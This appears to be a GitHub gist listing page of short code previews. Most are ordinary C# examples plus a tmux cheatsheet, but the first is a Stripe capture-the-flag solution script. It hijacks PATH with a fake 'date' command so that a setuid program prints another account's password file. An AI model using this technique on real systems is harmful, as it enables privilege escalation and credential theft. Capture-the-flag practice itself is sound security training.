Skip to content

Instantly share code, notes, and snippets.

@ungood
ungood / level01.sh
Created February 23, 2012 18:04
stripe capture-the-flag
mkdir -p /tmp/ungood
cd -p /tmp/ungood
echo 'cat /home/level02/.password' > date
chmod a+x date
export PATH=/tmp/ungood:$PATH
/levels/level01
// An action a mob can take. For example: wander, move towards goal, attack
public interface IMobAction
{
bool CanExecute(Mob mob);
void Execute(Mob mob);
}
// A simple example:
public class WanderAction : IMobAction
{
@ungood
ungood / gist:2226469
Created March 28, 2012 14:08
Simple example of DI
public class OrderProcessor
{
public OrderProcessor(IOrderAllocator allocator, IOrderFulfiller fulfiller)
{
// ...
}
public void Process()
{
}
@ungood
ungood / gist:2500145
Created April 26, 2012 14:53
Example of why methods are better
// This is really elegant with methods, but really, really ugly with query expression
public IQueryable<User> SearchUsers(string firstName, string lastName)
{
var query = getUserQuery();
if(!string.IsNullOrEmpty(firstName))
query = query.Where(user => user.FirstName == firstName);
if(!string.IsNullOrEmpty(lastName))
query = query.Where(user => user.LastName == lastName);
@ungood
ungood / BigIntegerExtensions.cs
Created June 29, 2012 15:01
Silly Puzzle solved for multiple bases
using System;
using System.Collections.Generic;
using System.Linq;
using System.Numerics;
using System.Text;
namespace ConsoleApplication4
{
public static class BigIntegerExtensions
{
@ungood
ungood / gist:3085778
Created July 10, 2012 19:47
LINQ Mandelbrot Calculation
public class GenerateAndCountCalculator : IMandelbrotCalculator
{
public int CalculatePoint(Complex c, int maxIterations)
{
return Generate(Complex.Zero, z => (z * z) + c)
.TakeWhile(z => z.Magnitude <= 2)
.Take(maxIterations)
.Count();
}
@ungood
ungood / gist:3534468
Created August 30, 2012 17:31
Simple Console App example
public class Program
{
public static void Main()
{
// Register
using(var kernel = ConfigureKernel())
{
// Resolve
var program = kernel.Get<Program>();
program.Run();
@ungood
ungood / gist:3658896
Created September 6, 2012 17:44
Example Ninject Binding
using System.Web;
using BBCom.Gotham.Domain;
using BBCom.Gotham.Service;
using GothamMVC3.Helpers;
using GothamMVC3.Navigation;
using Ninject;
using Ninject.Modules;
using Ninject.Web.Common;
using Ninject.Extensions.Conventions;
using Telerik.Web.Mvc;
@ungood
ungood / tmux_cheatsheet.markdown
Created November 29, 2012 22:04 — forked from henrik/tmux_cheatsheet.markdown
tmux cheatsheet

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

// Store a deck in a bit array by the following algorithm:
// value := pick[0];
// value = value * 51 + second pick
// value = value * 50 + third pick
// ..
// value = value * 1 + 52nd pick
// The first pick is pick[0]
BigInt StoreDeck(params int[] picks) {
BigInt value = pick[0];
for(int i = 1; i < picks.Length; i++) {